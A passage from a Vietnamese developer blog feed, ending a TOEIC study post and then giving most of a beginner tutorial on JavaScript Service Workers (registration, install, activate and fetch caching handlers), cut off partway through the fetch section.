nghiệm của mình vẫn là đọc trước câu hỏi. Sau đó, đọc lướt thật nhanh để tìm nội dung liên quan và suy luận ra câu trả lời.</li> </ol> <p>Trên đây là kinh nghiệm thi TOEIC của mình từ năm nhất Đại học đến trước khi tốt nghiệp. Điểm số hiện tại của mình là 735. Dĩ nhiên, đây không phải là điểm thi TOEIC quốc tế.</p> <p>Mục tiêu của mình trong lần thi TOEIC sắp tới tại IIG vào 31/1/2018 là <code>>=</code> 735 điểm. Lúc đó, mình sẽ viết một bài review về quá trình chuẩn bị và thi TOEIC của mình.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://vi.wikipedia.org/wiki/TOEIC">TOEIC</a></li> <li><a href="https://giasutoeic.com/thong-tin-toeic/cau-truc-de-thi-toeic">Cấu trúc đề thi TOEIC</a></li> </ul>[email protected]<![CDATA[JavaScript Service Worker cơ bản]]><![CDATA[Xin chào bạn! Không biết bạn đã từng nghe về Offline Web App chưa? Có thể bạn đã biết hoặc chưa. Hiểu một cách đơn giản, Offline Web App là một ứng dụng web có thể chạy ngay cả khi…]]>https://completejavascript.com/javascript-service-worker-co-ban/https://completejavascript.com/javascript-service-worker-co-ban/<![CDATA[AJAX]]><![CDATA[Event]]>Sat, 02 Sep 2017 05:16:13 GMT<p>Xin chào bạn! Không biết bạn đã từng nghe về <strong>Offline Web App</strong> chưa? Có thể bạn đã biết hoặc chưa. Hiểu một cách đơn giản, Offline Web App là một ứng dụng web có thể chạy ngay cả khi không có kết nối internet. Bây giờ, mình phân tích chút xíu nhé. Có 2 thứ cần thiết để web app có thể chạy được là: resources (html, js, css, ảnh,...) và định tuyến. Thì thằng mà chúng ta sẽ tìm hiểu sau đây là <strong>JavaScript Service Worker</strong> có thể đáp ứng được cả hai việc đó. Vậy...</p> <h2 id="javascript-service-worker-là-gì" style="position:relative;"><a href="#javascript-service-worker-l%C3%A0-g%C3%AC" aria-label="javascript service worker là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript Service Worker là gì?</h2> <p>Service Worker là một script mà trình duyệt chạy ở dưới background, tách khỏi trang web và giúp thực hiện các tính năng không cần đến trang web, hay tương tác người dùng.</p> <p>Service Worker có một số đặc điểm quan trọng là:</p> <ul> <li>Không liên kết với một trang cụ thể</li> <li>Không truy cập đến <a href="/co-ban-ve-dom-javascript/">DOM</a></li> <li>Có thể dừng khi không sử dụng và chạy khi cần thiết.</li> <li>Chỉ hỗ trợ HTTPS</li> </ul> <p>Với Service Worker chúng ta có thể:</p> <ul> <li>Làm cho trang web chạy nhanh hơn và có thể chạy offline</li> <li>Thực hiện một số tính năng ở background như: <a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">push message</a> và <a href="https://developers.google.com/web/updates/2015/12/background-sync">background synchronization</a>.</li> </ul> <p>Có lẽ đến đây thì bạn đã hiểu phần nào về JavaScript Service Worker rồi. Tiếp theo, chúng ta sẽ tìm hiểu về cách sử dụng nó.</p> <h2 id="đăng-ký-javascript-service-worker" style="position:relative;"><a href="#%C4%91%C4%83ng-k%C3%BD-javascript-service-worker" aria-label="đăng ký javascript service worker permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đăng ký JavaScript Service Worker</h2> <p>Giả sử, mình có một trang web đơn giản và cấu trúc các tệp tin như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">index.html service_worker.js main.js style.css</code></pre></div> <p>Lúc này, mình sẽ đăng ký Service Worker trong file <strong>main.js</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token string">"serviceWorker"</span> <span class="token keyword">in</span> navigator<span class="token punctuation">)</span> <span class="token punctuation">{</span> navigator<span class="token punctuation">.</span>serviceWorker <span class="token punctuation">.</span><span class="token function">register</span><span class="token punctuation">(</span><span class="token string">"service_worker.js"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">reg</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Registered service worker"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Register service worker failed"</span><span class="token punctuation">,</span> err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Có một số lưu ý quan trọng khi đăng ký Service Worker là:</p> <ul> <li>Vị trí của file <strong>service_worker.js</strong> quyết định đến URL của các trang mà nó điều khiển. Ở đây, mình đặt file <strong>service_worker.js</strong> cùng thư mục với <strong>index.html</strong>. Có nghĩa là Service Worker sẽ quản lý URL của toàn bộ trang web. Ngược lại, nếu mình đặt nó ở một thư mục khác, giả sử là: <strong>/apps/service_worker.js</strong> thì Service Worker sẽ chỉ quản lý các URL bắt đầu từ <strong>/apps/</strong>.</li> <li>Hàm đăng ký <strong>.register</strong> trả về một <a href="https://www.tutorialspoint.com/es6/es6_promises.htm">Promise</a>.</li> <li>Trang đăng ký Service Worker phải là HTTPS.</li> <li>Service Worker phải nằm trên cùng trang web đăng ký nó (same origin). Vì vậy, bạn không thể đặt file <strong>service_worker.js</strong> ở một nơi khác, rồi sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/WorkerGlobalScope/importScripts">importScripts()</a> được.</li> </ul> <p>Mình có tham khảo được một ví dụ mẫu về cách triển khai JavaScript Service Worker như sau (mình không nhớ mình tham khảo được ở đâu, chỉ nhớ là của Google, nên mong tác giả của script thông cảm):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">/* * Names of the two caches used in this version of the service worker. * Change to v2, etc. when you update any of the local resources, which will * in turn trigger the install event again. */</span> <span class="token keyword">const</span> <span class="token constant">PRECACHE</span> <span class="token operator">=</span> <span class="token string">"my-precache-v1"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">RUNTIME</span> <span class="token operator">=</span> <span class="token string">"my-runtime"</span><span class="token punctuation">;</span> <span class="token comment">// A list of local resources we always want to be cached.</span> <span class="token keyword">const</span> <span class="token constant">PRECACHE_URLS</span> <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string">"index.html"</span><span class="token punctuation">,</span> <span class="token string">"./"</span><span class="token punctuation">,</span> <span class="token comment">// Alias for index.html</span> <span class="token string">"style.css"</span><span class="token punctuation">,</span> <span class="token string">"main.js"</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// The install handler takes care of precaching the resources we always need.</span> self<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"install"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> event<span class="token punctuation">.</span><span class="token function">waitUntil</span><span class="token punctuation">(</span> caches <span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token constant">PRECACHE</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cache</span><span class="token punctuation">)</span> <span class="token operator">=></span> cache<span class="token punctuation">.</span><span class="token function">addAll</span><span class="token punctuation">(</span><span class="token constant">PRECACHE_URLS</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span><span class="token function">skipWaiting</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// The activate handler takes care of cleaning up old caches.</span> self<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"activate"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> currentCaches <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token constant">PRECACHE</span><span class="token punctuation">,</span> <span class="token constant">RUNTIME</span><span class="token punctuation">]</span><span class="token punctuation">;</span> event<span class="token punctuation">.</span><span class="token function">waitUntil</span><span class="token punctuation">(</span> caches <span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cacheNames</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> cacheNames<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">cacheName</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token operator">!</span>currentCaches<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>cacheName<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cachesToDelete</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span> cachesToDelete<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cacheToDelete</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> caches<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span>cacheToDelete<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> self<span class="token punctuation">.</span>clients<span class="token punctuation">.</span><span class="token function">claim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * The fetch handler serves responses for same-origin resources from a cache. * If no response is found, it populates the runtime cache with the response * from the network before returning it to the page. */</span> self<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"fetch"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Skip cross-origin requests, like those for Google Analytics.</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>request<span class="token punctuation">.</span>url<span class="token punctuation">.</span><span class="token function">startsWith</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>location<span class="token punctuation">.</span>origin<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> event<span class="token punctuation">.</span><span class="token function">respondWith</span><span class="token punctuation">(</span> caches<span class="token punctuation">.</span><span class="token function">match</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>request<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cachedResponse</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>cachedResponse<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> cachedResponse<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> caches<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token constant">RUNTIME</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cache</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token function">fetch</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>request<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Put a copy of the response in the runtime cache.</span> <span class="token keyword">return</span> cache<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>request<span class="token punctuation">,</span> response<span class="token punctuation">.</span><span class="token function">clone</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> response<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau khi đăng ký thành công, Service Worker sẽ được download về phía client và thực hiện những việc sau đây.</p> <h2 id="javascript-service-worker---install" style="position:relative;"><a href="#javascript-service-worker---install" aria-label="javascript service worker install permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript Service Worker - Install</h2> <p>Đoạn code dùng để install Service Worker:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token constant">PRECACHE</span> <span class="token operator">=</span> <span class="token string">"my-precache-v1"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">RUNTIME</span> <span class="token operator">=</span> <span class="token string">"my-runtime"</span><span class="token punctuation">;</span> <span class="token comment">// A list of local resources want to be cached.</span> <span class="token keyword">const</span> <span class="token constant">PRECACHE_URLS</span> <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string">"index.html"</span><span class="token punctuation">,</span> <span class="token string">"./"</span><span class="token punctuation">,</span> <span class="token comment">// Alias for index.html</span> <span class="token string">"style.css"</span><span class="token punctuation">,</span> <span class="token string">"main.js"</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// The install handler takes care of precaching the resources we always need.</span> self<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"install"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> event<span class="token punctuation">.</span><span class="token function">waitUntil</span><span class="token punctuation">(</span> caches <span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token constant">PRECACHE</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cache</span><span class="token punctuation">)</span> <span class="token operator">=></span> cache<span class="token punctuation">.</span><span class="token function">addAll</span><span class="token punctuation">(</span><span class="token constant">PRECACHE_URLS</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span><span class="token function">skipWaiting</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Mục đích của của việc <strong>install</strong> là để lưu một số resources được định nghĩa ở <a href="/array-la-gi-array-trong-javascript/">array</a> <strong>PRECACHE_URLS</strong> vào bộ nhớ đệm <strong>cache</strong> với tên định nghĩa bởi <strong>PRECACHE</strong>.</p> <p>Sau khi lưu xong hết tất cả các resources cần thiết, hàm <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerGlobalScope/skipWaiting">self.skipWaiting()</a> dùng để dừng công việc hiện tại lại và chuyển ngay sang công việc tiếp theo.</p> <h2 id="javascript-service-worker---activate" style="position:relative;"><a href="#javascript-service-worker---activate" aria-label="javascript service worker activate permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript Service Worker - activate</h2> <p>Đoạn code dùng để active Service Worker là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// The activate handler takes care of cleaning up old caches.</span> self<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"activate"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> currentCaches <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token constant">PRECACHE</span><span class="token punctuation">,</span> <span class="token constant">RUNTIME</span><span class="token punctuation">]</span><span class="token punctuation">;</span> event<span class="token punctuation">.</span><span class="token function">waitUntil</span><span class="token punctuation">(</span> caches <span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cacheNames</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> cacheNames<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">cacheName</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token operator">!</span>currentCaches<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>cacheName<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cachesToDelete</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span> cachesToDelete<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cacheToDelete</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> caches<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span>cacheToDelete<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> self<span class="token punctuation">.</span>clients<span class="token punctuation">.</span><span class="token function">claim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Mục đích của công việc <strong>activate</strong> này là để xóa đi bộ nhớ đệm <strong>cache</strong> cũ, và giữ lại <strong>cache</strong> mới nhất, cuối cùng là kích hoạt Service Worker.</p> <p>Giả sử ban đầu bạn có hai cache là: <strong>PRECACHE = my-precache-v1</strong> và <strong>RUNTIME</strong>. Bây giờ, bạn muốn thay đổi resources.</p> <p><strong>Làm sao để cập nhật được những resources mới này vào cache?</strong></p> <p>Bạn cần thay đổi tên của <strong>PRECACHE</strong>, ví dụ là: <strong>my-precache-v2</strong>. Lúc này <strong>currentCaches = ['my-precache-v2', RUNTIME]</strong>. Bây giờ chỉ cần dùng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">filter</a> để lọc ra tên của cache không có trong <strong>currentCaches</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">cacheNames<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cacheName</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token operator">!</span>currentCaches<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>cacheName<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đó chính là <strong>my-precache-v1</strong>. Tiếp theo, xóa cache này đi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">cachesToDelete</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span>cachesToDelete<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token parameter">cacheToDelete</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> caches<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span>cacheToDelete<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Cuối cùng là kích hoạt Service Worker sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/Clients/claim">self.clients.claim()</a>.</p> <p>Bạn có thể kiểm tra lại bằng cách nhấn <strong>Ctrl Shift I</strong> hoặc <strong>F12</strong> (tùy thuộc trình duyệt) để vào phần Công cụ dành cho nhà phát triển:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 44.242424242424235%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABM0lEQVQoz3XQ2W6EIBSAYd//9eammcVMFQarMw5wFlk82KjTpmnaP4TAxReW6tqa9ta3zbsxRmt922rbdp+VUlprpfSxVm/npvvox+f4UHownem6SuvbMNyZ+X6/A0CMMYRARMw8Ta8F8+RxHTnPy7KUZS3GWB0Oh+PxeL1eL5cLABBRiHH5P8/iMFsS63zVNE27dT6fEVFEcs4xRotpsNFjEplF5BunuaRcsizO+0prPQyDtdYYg4jrrUqZ53m07vH01oF3jpnLj8NLWXcAUNV1rZTaf+sbT2Hy7CdmRGBm4sBR/sCn06mu63Ec+77fsYjEECdmIkIEj6vcwW+8X9tvpZReD0uJmQEBALz3iECEeV4fLyIpJSJacdd1dss5t+NSyoqJ3JZ92hhCKUW+2jEifgKDWwIjR8rVAwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Google Dev Tool - Check Service Worker" title="Google Dev Tool - Check Service Worker" src="/static/a7c767f4cee9b8f41b639b1d619a79d5/7c811/google-dev-tool-service-worker-check.png" srcset="/static/a7c767f4cee9b8f41b639b1d619a79d5/103f2/google-dev-tool-service-worker-check.png 165w, /static/a7c767f4cee9b8f41b639b1d619a79d5/748ba/google-dev-tool-service-worker-check.png 330w, /static/a7c767f4cee9b8f41b639b1d619a79d5/7c811/google-dev-tool-service-worker-check.png 660w, /static/a7c767f4cee9b8f41b639b1d619a79d5/b5dc4/google-dev-tool-service-worker-check.png 915w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Theo như hình trên thì bạn có thể thấy là Service Worker đã được kích hoạt (<strong>activated</strong>) và đang chạy (<strong>running</strong>).</p> <h2 id="javascript-service-worker---fetch" style="position:relative;"><a href="#javascript-service-worker---fetch" aria-label="javascript service worker fetch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript Service Worker - fetch</h2> <p>Đoạn code xử lý lệnh fetch:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">/* * The fetch handler serves responses for same-origin resources from a cache. * If no response is found, it populates the runtime cache with the response * from the network before returning it to the page. */</span> self<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token 